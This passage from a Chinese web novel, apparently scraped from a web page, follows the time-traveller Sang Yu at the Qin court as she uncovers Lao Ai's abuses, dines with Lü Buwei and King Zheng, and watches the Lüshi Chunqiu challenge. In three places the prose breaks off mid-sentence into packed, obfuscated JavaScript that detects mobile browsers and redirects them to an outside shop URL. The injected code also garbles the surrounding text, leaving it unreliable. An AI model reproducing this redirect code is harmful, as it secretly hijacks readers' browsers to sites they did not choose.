行至轺车旁,桑语余光瞥见街角站着一个老汉,沟壑纵横的脸上满是不屑。她收回目光,看向寺人巽,“我有些饿了,宦者令可否帮我去买些橘子来。” 好在寺人巽没嫌她事儿多,径直去买了些橘子。 桑语剥开橘子皮,掰下一瓣塞进嘴里,酸得眉头一蹙。她直接吞下,道:“这橘子香甜如蜜,甚是合我胃口!宦者令可否将那摊主请过来,我想知道这橘子树是怎么种的!” 那卖橘子的老汉虽不明所以,但见那柄悬挂于腰间的长剑,也只好随后跟来。 “女公子,人已带到!” 听寺人巽如此称呼,桑语并未露出任何惊讶或是疑惑,她只是微微点点头,“将周围守好!纵使是苍蝇,也不得靠近分毫!” 寺人巽怀中抱剑,口中称诺。 桑语登时换了笑脸,屈指轻叩车壁,“阿兄,我带来了一个老翁,其擅于种橘子。我们可否进来说话?” 须臾,车内传来一声“进”。 18. 春秋 桑语将卖橘老翁领入轺车,安排他就坐,脸上自然地洋溢着笑意,她温和地问道:“请问老人家高寿几何?” 卖橘老翁答道:“今年六十有一。不知女公子唤小民前来,是有何事?” 桑语不打算再绕弯子,直截了当地说:“我偶见老人家您面露异色,似有什么不平之事,特请您来一叙。您放心,我们并无恶意。” 那卖橘老翁忽然想起嫪毐称呼她为“桑山主”,张嘴欲言,但见她与嫪毐似是旧识,迟疑了片刻,还是选择扯谎道:“小民的橘子又大又漂亮,却始终卖得不如邻摊,故而心生不满,并没什么大事。” 桑语顿时将脸一板,目光锐利地盯着他道:“那死了的老翁,看上去与您岁数差不多。您就不可怜他吗?将您所知的不平事说出来吧,或许那老翁也就不白死了。” 卖橘老翁连忙摆手,作势就要下车去。 秦王政蓦地冷笑一声,“刀剑可是无眼的。” 卖橘老翁讪讪地缩回脚,“二位贵人还是莫要追问了,小民尚有妻儿老小,这条穷命还想再多留几年。再说了,就算二位知道了,除了心中添堵,也毫无意义。” 秦王政道:“若是你迟迟不肯言,不如一同去见见狱吏。” 卖橘老翁无可奈何,只得恳求道:“倒也不是不能说,毕竟咸阳城中无人不知。只是,二位贵人行事言论,莫要连累小民。” 桑语道:“无需老翁您叮嘱,我们自有分寸。” 卖橘老翁方叹了口气,“死的那个人,是个苦命的。我与他先前见过几面,倒是听他说起了一些事。他两岁时,阿母便撒手人寰了。他阿翁,死在了战场上。虽有叔伯,却无人愿意收留他,反而将他当奴隶卖掉了。你们莫要看他模样老,他如今不过三十多岁。只是,因为可怜啊……” 桑语着实有些惊讶,不曾想到那老翁竟是如此年轻。她下意识看了眼秦王政,只见他紧紧抿着唇。 卖橘老翁揩了揩眼角的泪,继续道:“他如今的主家,虽无爵位,亦无官职,却是阔绰得很。寻常人,绝不敢得罪他。那人手下一批爪牙,倚着主人的威权,更是无恶不作。奸人妻女,谋人良田,鱼肉客商。我等小民,敢怒不敢言,有人斗胆去告他,最终落得个凄惨下场。” 桑语听到此处,心中愤怒满溢,不禁大骂了一声。相比之下,嬴政似乎平静许多,“依你所言,此人残暴如枭獍。如此可恨,这偌大的咸阳城,竟无一人可治他?” 卖橘老翁沉默了片刻,随后沉声说道:“举头三尺有神明,神明会治他的。” 桑语知道嬴政已经知道这人是谁了。毕竟放眼整个大秦,没有爵位,还没有官职,还能够如此嚣张跋扈的,除了嫪毐,还能有谁? “老翁,”桑语想了想措辞,问道,“那男子被杀,此中究竟有何隐情?” 卖橘老翁道:“既然我都已经说了这么多了,也不怕多说这么一桩事了。他家有个女儿,年岁不大,却是出落得如花似玉。那家主人偶见起一面,便起了占有之心。可怜那女儿哪知道什么男女之事,被诱骗着合欢,竟有了身孕。那主人怕被人知晓,竟派爪牙玷污她,最终一尸两命。这个可怜人,哪里是什么奴隶出逃,他是异想天开!区区一个卑贱奴隶,竟想找君上和太后做主。那日,我偶见他喝得大醉,听他说了此事。原以为不过是一时逞口舌罢了,谁知他竟然真的……唉,这人啊,也是个傻呀!” 嬴政默了许久,敲响了车壁,“巽,去蒙骜府上。” 卖橘老翁听了最后几个字,吓得险些从座上跌下去。 桑语见状,说道:“您既然说出了这些不为人知的故事,我们公子必定会护您周全。老翁,且安坐,请放心。” 马车行至蒙府前,嬴政将腰间的玉佩解下,“将此物交给蒙毅。其余无需多言,仅需告知他,这是我的命令,要他照顾好你及你的家人。” “诺!”卖橘老翁双手接过玉佩,手止不住地颤抖着。 关于这位年轻男子的真实身份,他心中早已生出一个大胆的猜想,然而他不敢多问。 他脚步虚浮地移向蒙府门前的府兵。一名府兵挺戈拦截,沉声质问:“你是何人?” “我,我想要拜见蒙小将军。”老翁颤声回答,同时将玉佩小心翼翼地递给那名府兵,“这玉佩的主人说,只要蒙小将军见到此物,定会见小民的。” 两名府兵交换了一个眼神,其中一人开口:“你且在此等候,切勿随意走动。”言罢,他紧握着玉佩匆匆进入府内。 轺车之中,桑语看着秦王政的脸色,开口问道:“嫪毐这人,还真是奇怪。明明是作恶者,非装成良善之人。但是吧,这样有何意思呢?难不成就是为了做样子给我看吗?” 秦王政点点头,“你所猜测的,无错。” 桑语朝天翻了个白眼,“呵,原来我这么重要啊!” “他的目的,并非你,而是寡人。他认识你,也认识这辆轺车。若非你误打误撞,从那卖橘老翁嘴中知道真相,恐怕寡人真的会被他所蒙骗。” 桑语抬手敲敲自己的脑袋。这一天天的,还真是头大。嫪毐那种阴险的人,真的是以戏弄人为乐。那个可怜的男子,若是知道自己最后跪的是自己恨不得千刀万剐的坏人,会是怎样的心情? 末等的奴隶,从未见过主人,也是一件正常的事。可怜这个人有反抗的意识,却止步于现实。因为心怀憧憬,才会心生痛苦。生而无思想,反而是神灵的宽恕。 桑语喃喃道,“所以,那致命的一剑,是嫪毐的命令?呸,真小人。” “阿桑,”秦王政轻声唤她,直视着她的眼睛,“阿桑觉得,寡人为何将那老翁送去蒙府?” “蒙将军一家对君上忠心耿耿,君上将人送至蒙府,自然是为了庇护他。” “是吗?寡人也可以趁机杀了他?” 桑语摇摇头,“我相信君上,君上是不会这么做的。” “你……相信寡人?” “是!” “好!” 话音一落,车内又恢复了沉默。 轺车到了相邦府门前停住。桑语只一眼,便觉得甚是惊讶。 她想象中的相邦府邸,应是以奇珍异宝点缀着门扉,四周高墙环绕,必极富丽堂皇之致。但是此刻眼前所见,居然是一处幽静的居所。 秦王政立在她身侧,“此处乃是吕相邦的……别院。” 这句话瞬间淹没了桑语的好奇,她别过眼去,“这别院,甚佳!” 家老早已恭候在门口,此时引着二人进内。他一一介绍着,“此院,为名士下榻之处。实才实德之士,居上舍,食肉乘舆。尚不明底细的可用之才,居中舍,食肉不乘舆。混吃混喝的庸人,居下舍,食脱粟之饭,倒是不必饿其体肤。” 听完,桑语笑问道:“下舍之中,有没有出现冯谖?” 家老亦是笑道:“有!此人名唤‘李斯’。” 吕不韦对门客的“分类”,正是借鉴了孟尝君的做法。而冯谖正是孟尝君门下的食客之一。他起初因为贫穷而被佣人看轻,通过三次倚门弹剑哼歌,升级成为了有鱼吃的门客,最终为孟尝君的政治事业立下了汗马功劳。 李斯也正是如此,虽然偶有行为乖张之处,但是不可否认的是,他有着令吕不韦都叹服的过人之才。李斯入秦,不是来编书的,而是自己的野心。 秦国向来重视任用外来人才,但是并未形成“养士”之风。吕不韦却广收天下名士,其门客约三千之众。这样的行为,在有的人眼中,要么是居心叵测、其心可诛,要么是沽名钓誉。 秦王政曾经问过吕不韦,“仲父要效仿‘四公子’?” 吕不韦的回答是长篇大论:“既学且疑!四公子者,出身皇族贵家,动辄豢养门客数千,且乐于结交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桑语不无为难地接过,逐字看了一遍,由衷地赞道:“能得此书,实属大秦之喜也。诸位之心血,足以传于千世。” 众门客皆拱手称谢。 桑语看看满室的竹简,又看看士子们脸上的疲惫与喜悦。她真想告诉他们,她说的不是愿景,而是陈述的事实。 她这个两千多年后的人,的确曾经拜读过《吕氏春秋》。 桑语扭过头,蓦地瞧见吕不韦微笑着点了头。她回之以微笑,然后将竹简递还给嬴政。 吕不韦问桑语:“《吕氏春秋》,是否有可改之处?” “并无。”桑语笑说道,“相邦的千金,看来我是无缘得到了。” 此言一出,满屋里都笑了。 秦王政认真地逐一阅读着竹简上的字句。那些士子们围绕在他身后,适时地进行解释。不知不觉中,时光悄然而逝。 吕不韦上前说道:“到了用膳的时候了,臣已命人备下薄宴,还请君上移步。” 嬴政将手中的竹简卷好,重新放回木架之中。他转过来,忽地抬手朝众人拜了一拜。 众人吓得慌忙回礼。 嬴政朗声道:“寡人僻处宫城,久闻诸位盛名,心仪久矣。今日得读《吕氏春秋》,方知真正学问之深邃,文章之精妙。寡人心佩服,从今不敢擅谈文。为表敬意与谢忱,定要有赏赍。” 众人闻之心喜,口称“惶恐”之词。 走出竹楼,三人沿着一条蜿蜒的小路前行。路是鹅卵石铺就的,走起来有些吃力。 眼见鹅卵石小路将到尽头,突然,耳边响起了一阵喧哗。前方,一名女子正将自己脖子套在麻绳圈中,上演着一场自杀的闹剧。 吕不韦见状,面色铁青,怒不可遏地喝道:“你们这是在胡闹些什么?梅雪、琥珀,赶快将她扶下来!丢人现眼!” 19. 为商 婢女们虽然嘴上应着,实际上却迟疑不决,根本不敢上前拉扯。谁料,那女子闹得更欢了,作势要踢掉垫脚的石头,将树枝拽得愈发晃动。几片树叶也随之飘落,恰好落在了婢女们的头发上。 婢女们一边继续口头安慰,试图稳定她的情绪,一边却又不得不承受她不时踢来的几脚。 桑语无奈地摇了摇头,大声喊道:“啊呀,君上快看,树上怎么有个蜂窝呀!” 这话果真奏效,那寻死觅活的女子顿时不折腾了。 秦王政双臂环抱在胸前,好整以暇道:“这蜂窝可不小,估摸着里面是有蜂王。阿桑,你可知若是被蜂王蜇上一口,人会变成什么模样?” “哎呀,我不知道呢!会是何模样呢?”桑语夸张得有些做作。 秦王政继续道:“若被蜂王蜇上一口,脸肿似猪头,还会变成乌眼青脖,甚者会丧命。” 婢女们皆是一脸担忧,急忙劝道:“姑娘,您还是快下来吧!当心被蜇!” 女子神色间似有些动摇,却依旧梗着脖子道:“休要骗我!我又不是三岁稚子!哪儿有什么蜜蜂,马蜂的?” “哦哟!”桑语夸张地捂住嘴巴,伸手指向树叶丛,佯装惊恐地喊道:“蜜蜂!飞出来了!呀,飞脑袋上了!” “啊!!”那女子顿时信以为真,惊慌失措地试图去赶掉头顶上的蜜蜂。由于她双手离开了麻绳,身体立刻失去了平衡,摇摇欲坠。好在那两个婢女反应迅速,及时地上前扶住了她,这才避免了她一头栽倒在地的尴尬结局。 “梅雪!琥珀!还不快将她扶回房!” “诺!”婢女们齐声应道,迅速行动,一边一个,将那女子稳妥地架起。 那女子在被扶起的过程中,用那种楚楚可怜的目光望向吕不韦。然而,只见到了吕不韦满脸的怒气,她不敢再继续放肆胡闹了,任由着婢女们扶着她走远。 秦王政出言打趣道:“仲父这府上,真是好热闹啊!” 吕不韦无奈地叹气,“让君上见笑了。” “仲父有如此妙人相伴,寡人也可少些担忧。”秦王政语气中带着几分戏谑,却也不无真诚。 “不瞒君上,此女天真烂漫,虽时而爱胡闹,却是个知冷热的佳人。若是君上不嫌,臣愿送此女入宫。” 桑语听到这话,几乎被呛到。她吃惊地望向吕不韦,想确认他是否当真。 虽然那女子看起来与秦王政年龄相仿,但是……这样,是不是不大好。 “仲父的爱妾,寡人怎好横刀夺爱?”秦王政笑说道,“仲父的好意,寡人心领了。” 玩笑话而已,吕不韦也只是爽朗地笑了下。 当天色渐晚时,天气陡变,屋外开始刮起风来了,接着竟是飘起雨。 冬雨落在屋檐上,凉意愈发袭人。 婢女们手捧着食盘进屋,忽见风吹倒了窗边的小花瓶。侍从忙去关窗,将风雨挡在了屋外。 这场雨下得大,婢女们的衣裳却并未被雨水淋湿。 桑语心下感慨,此处虽然是别院,但众人行事井然有序,内外配合一致。 桑语举箸夹起一块鱼肉,轻咬了一口,慢慢咀嚼着。肉味甚是鲜美,还有着青梅的酸甜之味。 在这个时代里能吃上如此味道丰富的菜,有一种很幸福的感觉。 “多谢仲父款待,这一爵,寡人敬您!” 秦王政将酒爵端至唇边饮了一口,那细长而深邃的凤眼注视着吕不韦。 吕不韦搁下酒爵,感慨道,“老夫与君上有许久未曾单独晤谈了,今日是家宴,老夫便想絮叨几句。” 秦王政正襟危坐,“仲父有何教诲?” 吕不韦摆摆手,“教诲谈不上,老夫只是想告诉君上,遣兵攻城这样的大事,以后还是需得廷议,万不可自作主张!” “是!寡人记住了!”秦王政抿了口酒来掩盖眼中的情绪,他忽的问道:“仲父编纂此书,为何定名为《吕氏春秋》?这书名,倒是常让寡人想起鲁国孔丘编纂的《春秋》。” 吕不韦道:“《春秋》本是记事史书的通称,臣所编纂的《吕氏春秋》却并非是史书。《吕氏春秋》有‘八览、六论、十二纪’,包含天地、万物、古今。这‘十二纪’嘛,按照月令编写,顺应四时变化。此书约二十余万言,包罗天地万物古今之事,故名曰《吕氏春秋》。” 秦王政了然地点点头,“大秦幸获此鸿篇巨制。” 桑语专心听着二人说话,将筷箸都搁下了。吕不韦编纂《吕氏春秋》的目的究竟是何?后世只有猜测,永远无法得到肯定的答案。 秦王政满是回忆和感慨地说道:“齐桓公有管仲,寡人亦有吕相邦。寡人常忆起年少读书时,凡有所疑,辄咨访仲父。自寡人即位以来,幸得仲父佐治。至于外交之事,仲父娴于辞令,寡人甚任之。若非仲父佐吾,吾寸步难行啊。” 吕不韦笑容满面,酒意上涌,“老夫是看着君上长大的,深知君上胸怀天下,必为千古不世出之君。老夫,还有些话想对君上说。” “仲父请说!” “这世间之人,皆有非短。这天下的学派,亦是如此。唯有杂百家为自家,方可傲然于世。” “仲父所言极是,寡人定会铭记于心。” 闻言,吕不韦却是笑着摇摇头,“君上可知,何为‘为商之道’?” “为商之道?”嬴政略顿片刻,“商贾之术,寡人不知。” 吕不韦轻笑两声,“猗顿,鲁之穷士也。大畜牛羊,十年之间,赀拟王公,驰名天下。若不徙西河,则无‘猗顿’之富。西河之地,靠近盐池。猗顿以河运取代陆运,经营池盐,故成为巨商大富。唯有独辟蹊径,方能别开生面。想人之所未想,取人之所舍,方可从中获利。为商者,绝非孑然一身。何以用人?何以信人?此皆学问也。” “齐俗贱奴虏,商人患黠奴。唯刀间收取,以厚利雇之,且予以充分的信任。故,言曰‘宁爵毋刀’。商贾行走于市,朝不保夕。如《书经》上说:‘居安思危,思则有备,有备无患’。朝为富贵闲人,暮时破产流亡,此乃常事。唯有居安思危,盛时不忘落寞时,常思己过,才能传之子孙。” 吕不韦呷了口酒,问道:“君上俯听臣言,不知是否有见解?” 秦王政似是想了想,倾身说道,“政儿愚痴,还请仲父详言。” “为商之术,与这治国之道,有互通之处。博通百家之言,杂取百家之精华,则使秦国异于关东六国。治国用人,需审慎大胆,唯才是用,用人不疑。为商贾者,盛时则思危,治国亦然。盛而不能思危,必有旦夕之灾。六国皆有内忧,早已无力抗衡秦国。秦兼并六国,只是早晚而已。然而有一事,君上需得好好考虑。” 秦王政起身拱手道:“谢仲父赐教!” “不敢!君上若愿听,老夫则多言几句。”吕不韦脸上隐隐带着担忧,“东进之路,堆叠着秦人的骨骸。令六国纳土于秦,使四海归一,乃秦国君臣之责。只是,臣有一忧。自商君变法以来,秦国便以秦法为大。然,秦法之严,能否为六国所接受?若秦法严苛,则民有怨言,而思乱者遂众。六国者,分则羸弱不堪,合则不可估量。” 秦王政佯装糊涂,沉默片刻,“仲父所言或许有几分道理。只是,这‘商君之法’乃大秦之根本,如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163473|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻言动摇?国无法,则不治。民无法,则不安。欲使六国安,唯有推行秦法。” 吕不韦握住酒爵的手突然收紧,似是有些无奈。他脸上的神色极其平静,问道:“君上可知伊尹?” 秦王政答道:“伊尹?殷之臣,佐汤伐夏桀,被尊为阿衡。” 吕不韦只略一点头,说道:“以鼎调羹,调和五味。此乃伊尹治国之理念也。”他说着,取勺舀汤到陶碗中,“治大国若烹小鲜,急不得!急不得!” 宴罢二人离去,秦王政问桑语,“相邦之言,阿桑如何看?” 桑语生硬地避开这个问题,“人之落暮,最是伤悲。我方才偷偷瞧着,相邦的发鬓都白了。相邦编纂《吕氏春秋》,或许便如鸿爪留痕,愿有一物以示后世之人。这份心意,倒也是难得。” 秦王政闻言,冷哼了一声,“相邦如今岁数大了,竟如此瞻前顾后!六国颓势已显,乘胜追击才是,为何‘急不得’?推行秦法之事,寡人心意已决,绝不动摇。至于六国人是否接受秦法……”他说着又想了想道,“且行且看吧。” 桑语垂眸不语。作为后世之人,很难不做出孰对孰错的判断。 在这个“抑商”的时代,吕不韦能达到如今的政治高度,不仅仅是借势双赢,更是因为其自身的处事风格。 吕不韦行事谨慎多虑,当年入秦游说华阳夫人的计划可以被视为经典的营销案例。 他掌握了秦室中各方面的基本情况,推测出了华阳夫人急需子嗣的心理,从而锁定了游说的目标。吕不韦入咸阳城之后,从华阳夫人的身边人下手。他游说阳泉君时,谈及了楚系在秦宫中岌岌可危的地位,又单刀直入地拿出了合作共赢的方案。而他去游说华阳夫人的姐姐时,极言嬴异人的贤德,并且拿出了重金购置的珠宝奇物。 最终在亲人的建议之下,华阳夫人顺水推舟地应允了此事。 于是,历史的车轮滚动起来了。 如今吕不韦编纂《吕氏春秋》,或许就是因为发现了秦法中的不足之处。商君之法,挽救了风雨中的大秦。但是,其中的缺陷也日渐显露。秦法太过严苛,它可以适用于秦国,但是一定不适用于统一的秦帝国。 只是可惜了,君王抱定对他的偏见。 桑语张嘴欲言,话到嘴边又咽了回去,却听得秦王政语气幽幽道:“伊尹放太甲于桐而自立,摄行政当国,以朝诸侯。吕不韦是想效仿伊尹?” 桑语轻微地“啊”了一声。 这就是说者和听者之间的不同理解吗?还是说,是她的理解有偏差? “君上,我觉得吧,相邦所言并非全无道理。战乱甫定,宜与民休息,自然是急不得。” 秦王政蹙眉扫了她一眼,“‘你与仲父的想法,倒是一致。今日如此,那日在筵席上亦是如此。” 桑语想了想,问道:“君上可曾在某一瞬时想过,不如做个‘枕石漱流’的隐士?” “在邯郸时,寡人每日所想,是如何归秦。归秦之后,寡人所思所想,是如何踏平六国。秦之将士,定如疾风,摧扫六国之败叶。寡人,定要亲眼目睹之。” 他说着这话,神情肃杀,目光坚毅。 桑语往角落里缩了一点,“若是君上生在盛世,无战乱之纷扰,君上又会如何?” 嬴政真的认真思索了片刻,“若无战乱,枕石漱流,卧醒花影,倒是人生至乐。” 终于将话引到了这里,桑语暗暗松了口气,“盛世与乱世,就应是两套不同处世之道。任何事物,都需要辩证地看待嘛。”意识到自己说的话委实有些现代了,她笑着将话一转,“雨停了,我们去城门口看看吧。” 20. 增删 咸阳城门处,人迹往来最为纷繁。侧畔空旷之地,有木板高墙,宽逾百丈,如屏立于天地之间。其上所挂之竹简,相续如织,各卷皆工妙绝伦。 旁近,另有一木牌巍然矗立,上题红字:“《吕氏春秋》一书,凡能增删一字者,赏千金。” 虽群贤毕至,墨客云集,而未有‘增减一字’成功者。悬金千金,如高岭之花,可望而不可即,反令《吕氏春秋》之名愈烈。日复一日,观者如堵,热情未减,或独自沉思,或成群结队而论,皆欲破此虚悬之惑。 桑语站在人群之外,自言自语地感慨道:“噫!吕不韦,真是个营销奇才呀!” 若是没有“悬赏千金”这一吸引人的噱头,《吕氏春秋》恐怕难以获得如此广泛的关注和重视。悬赏千金之举,在古代也并不常见。昔日商君“立木为信”,也不过是五十金。吕不韦此举之慷慨,远逾当时社会对于文化作品的常规奖励,因而足矣掀起巨大的社会波澜。 吕不韦在决定编纂《吕氏春秋》之时,就开始广布消息于中原诸国,意在寻求贤才。故此书之文学价值,已不可限量。若有能指出书中瑕疵者,不仅可得千金,亦能赢得名誉与才智之认可,士人之心岂能不为之动摇。 这场营销盛宴之中,最是精妙之处,在于吕不韦将《吕氏春秋》公示于咸阳城门,并未给此书的观者设置门槛。无论是名士官宦,还是黔首樵夫,皆在他邀请斧正之列。纵有目不识丁者,也会因好奇而驻足聆听士人的朗读与激辩。唯全民之参与,方能极尽此书之价值。 而通过“悬赏千金”的挑战,该书在短时间内便成为时人热议的中心,口碑相传,声名鹊起。尽管最终无人能够领赏,但此事已成为历史佳话,使《吕氏春秋》之影响得以绵延不绝。 桑语将手悄然缩回袖中,指尖意外触碰到藏于其内的橘子。她拿出橘子,剥开那层黄澄澄的皮,将一瓣橘子送入嘴中。到口一尝,果然甘甜。 无意中,她目光一转,便瞥见了秦王政。他背手而立,眉宇间隐隐透出些许蹙意,似是与这喧嚣的场合不甚相融。 桑语心念微动,素手轻舒。秦王政的视线落在她手心里的两瓣橘子上,惊讶之情掠过眼底。他略一迟疑,终于接过橘子,小心地咬了一口。橘子的清甜与微酸,顿时交织在他的口中。 桑语忽然被什么吸引住了,她兴奋地伸手指向人群,“君……公子,你快看!” 秦王政循着她手指的方向望去。木板高墙前出现了一个花白头发的老者,身着素袍,手持简朴的竹杖,却散发着一种不凡的气质。他点着竹杖,不急不缓地走到一张书案旁,拿起案上陈列着的羊皮纸和毛笔。 众人见此情形,皆屏息凝神,目不转睛。老者笔走龙蛇,在羊皮纸之上洋洋洒洒地写了好一番文字。随后,他将笔一挥,仰头笑道,“改不得呀,改不得!” 言毕,老者再度点着竹杖,大步离去。 那张羊皮纸随即被吕不韦的门客悬挂起来。众人争赴观瞻,顿起哗然。 桑语正欲挤入人群一看究竟,蒙毅不知从何处冒了出来。他先是向桑语点头致意,继而走到秦王政身旁,附耳低语几句。 秦王政的眉头愈发深皱,面色阴沉得怕人。他转身对桑语道:“我有事,需先行离去。抱歉,让蒙毅送你回去吧。” 桑语摆摆手,“不必麻烦蒙公子了。我的这身功夫,走夜路也非常安全。” 秦王政听罢,觉得她说得也有道理,便微微颔首,转身欲离。 “公子!”桑语突然出声喊住他。秦王政停下脚步,回首望去,只见桑语比了个喝药的手势,她的嘴角泛着笑意:“别逞强!” 秦王政默然片刻,轻轻点头,道了声“好”,便快步离去了。 桑语晃了晃胳膊,正打算按照原计划挤入人群,却忽然听到有人唤她:“桑太卜”。 她往声源处瞥去,乃是李斯。 桑语今日的打扮与往日略有不同:乌丝如黛,束以缕鹿之髻,髻中饰以珠钗。然而她仍是身着深红色的胡服,这一特点很是好认。 桑语拱手施礼道,“李大人!你我在此处遇见,这次应该是‘好巧’吧。” 李斯笑道:“今日是‘好巧’!桑太卜是为取千金而来否?” “您真是高看我了!这么多的士人都改不了,我就不去献丑了。我只是喜欢看热闹而已。对了,李大人,适才好像有个老翁提笔增删了,不知您是否看到了结果?” “未增一字,亦未减一字,乃于文章深处,巧调字句之结构,令文意更为深邃,层次更显丰富。” 桑语听罢,不禁赞叹地道:“那位老翁,果然也是位奇人。” 天色愈晚,关城门的时刻渐近,而驻足在木板高墙前的人仍不见少。门侯无奈,只得出言劝他们离去。 李斯与桑语皆未骑马,也未坐车,遂二人同行。途中,桑语向李斯表示了感谢,“青黄杂糅,文章烂兮。精色内白,类任道兮。吾生于楚,食橘以为常。今离故土,再见楚橘,宛如旧人重逢。李大人之赠,非仅赠橘。这份厚意,桑语定不会轻易忘记。” 李斯闻言,微微一笑,“桑太卜言重了。这些楚橘,实乃甘上卿所赠,我不过是做了个顺水人情。” “甘上卿?指的是甘罗吗?”桑语问道。 “正是。”李斯回答。 桑语不禁腹诽:甘罗竟然尚在人世,然而历史上关于他的记载为何突然中断?这实在令人费解。 “甘上卿近期可是回了楚国?”桑语再次询问。 “他本是楚国下蔡人士,或许是返乡祭祖了。”李斯简明地解释,“不瞒桑太卜,我今日得此楚橘,亦是想起昔日时光。时光荏苒,世事变迁,唯有楚橘的味道,依旧未变。” 月光如水,轻轻洒在他的身上,映照出他脸上那清晰可见的皱纹,以及梳理得规规矩矩的头发中夹杂着的缕缕白发。此刻的他,除了眼中依旧透出的那股坚韧与锐气,已难掩岁月的痕迹,他不再是曾经在楚国上蔡为小吏的那个青年。 适才在不经意间,桑语瞥见了他衣袖内的补丁。那细微处的磨损,无声地诉说着他的窘迫与不易。这一发现,让她回想起自己曾经阅读历史时的感受:李斯的一生,是逆袭的喜剧,也是性格的悲剧。 或许是出于投桃报李的心理,桑语沉吟良久,她的目光投向远方,缓缓而言:“花自花茎绽放,终归尘土。此乃天地之常理。富贵荣华,若能洞悉其虚妄,便知不过是黄粱一梦罢了。” 当生命将尽,金银财宝已非所求,唯一的愿望或许只是再次牵着黄狗去打猎。故人生在世,有时候,莫要太强求了。 尽管桑语言辞隐晦,李斯却似乎已领会其中深意,“太卜之教,吾已铭记于心。” 桑语只是轻轻一笑,心中却明白,一个人多年所执着的信念,又怎会因为一两句话而轻易改变? 李斯忽然问道:“太卜觉得,《吕氏春秋》当真无一字可改?” 桑语没有直接回答,而是反问道:“李大人怎么看呢?编纂《吕氏春秋》的士子中,有不少应该与大人您是稷下学宫的同门吧?” 李斯沉吟片刻,道:“若山东士子皆无可增删一字者,《吕氏春秋》便可凌驾于万书之上。” 桑语不知这话中是否另有深意,只好略作思忖后说道,“《吕氏春秋》非仅辑录诸家之说,而是精心选择所需之精华,将其融会贯通,形成了独特的‘杂家’体系。增 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163474|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 删一字,确实太考验人了。对于像我这样的人来说,只能远远地观望,欣赏那份热闹。至于‘千金’之赏,是绝不敢妄求的。” 言毕,二人行至道路分岔之处,遂各自告别而去。 桑语回到小院,发现椿儿已经等在门前,她的脸上带着明显的不悦。桑语莫名觉得有些理亏,所以笑了笑,“椿儿,我已经吃过晚饭,你不必再忙活了。我要去休息了,晚安!” 椿儿侧身一步,挡住了桑语的去路,“阿姊,你下午究竟去了哪儿?怎么一声不吭就消失了?” 桑语一拍脑门,“呀,我忘了告诉你们了!不好意思啊,下次一定,下次一定!” “还有下次?”椿儿气急跺脚,“阿姊,你突然不见踪影,知不知道我们有多担心!”她双臂交叉抱在胸前,朝阿九的房间努努嘴,“九姊今天心情一直不好,阿姊,这是你自己惹的祸,你得自己去解决!” 桑语轻叹一声,拽着椿儿进了阿九的房间。阿九正坐在昏黄的灯光下,手中拿着刀,细心地擦拭着。听到桑语的脚步声,竟连头都未抬起。 桑语嘻嘻一笑,坐到阿九对面,“阿九,还生我的气呢?” 阿九不理她。 桑语不放弃地继续说道:“你都不告诉我你为什么生气,我怎么知道问题出在哪儿呢?阿九,你说说吧,我改!我一定改!” 阿九终于将手中的刀重重地拍在桌上,发出“啪”的一声响,吓得椿儿不禁“啊呀”地叫了出来。 阿九的目光紧紧锁定着桑语,沉声说道:“我们的性命都是你救的,我们本不该对你有任何指手画脚。但是阿姊,你对秦王的态度实在是让人捉摸不透。你既为他辩解,又是在病榻旁照料了一宿。阿姊,你千万要警惕,别让自己被秦王利用了。” “全天下皆知,秦国与楚国世代联姻。如今的太王太后便是出身于楚地,而未来的王后,亦极可能同样出自楚国。阿姊,这些年来,你为了我们背负了太多重担,我们也希望你可以寻一良人相伴。诸如姜先生这样的男子,或许远不如阿姊,但他必不会让阿姊承受太多的委屈。然而秦王,他不仅仅是一个男人,更是一国之君。他的后宫,并非是为心爱之人所设,而是各国利益博弈的场所。阿姊,不要涉足这浑水,好吗?” 桑语听得直蹙眉,“姜辂?这与他有什么关系?” 阿九低眉垂目,手中布帛轻拭刀身,“我……只是随意援引一例,并无他意。” 桑语倒也并未细究,她的目光落在摇曳的烛火上,眼中映出火光的闪烁。 片刻之后,她抬起头,语气中多了几分严肃,“阿九,你既然如此说,我也不想辩解什么。的确,自从我们进入咸阳,我与秦王之交往甚密。但是这些能够代表什么呢?伴君如伴虎,秦王的心思,我们压根就无法摸透。他亲近于我,不过是冲着‘玄女山山主’这个名号,而非‘桑语’这个人。我之所以不敢轻易违背其意,也是因为我是‘玄女山山主’。” “阿九,椿儿,你们是否还记得,我早已有言在先,我非七国之人,或许有朝一日,当汝等醒来之时,我就突然消失了……” “阿姊!”椿儿打断了桑语的话,桑语却是摇摇头,继续说道,“我的意思,并不是咒我自己去死。但是,我无法向你们解释清楚。所以,我希望,如果我突然消失了,秦王能够善待玄女山。反正,我所做的一切,都是为了玄女山。你们信也好,不信也罢。” 她缓缓起身,淡淡地留下一句“我要去休息了,你们也早点睡觉吧”,随即推开门,头也不回地走出了房间。 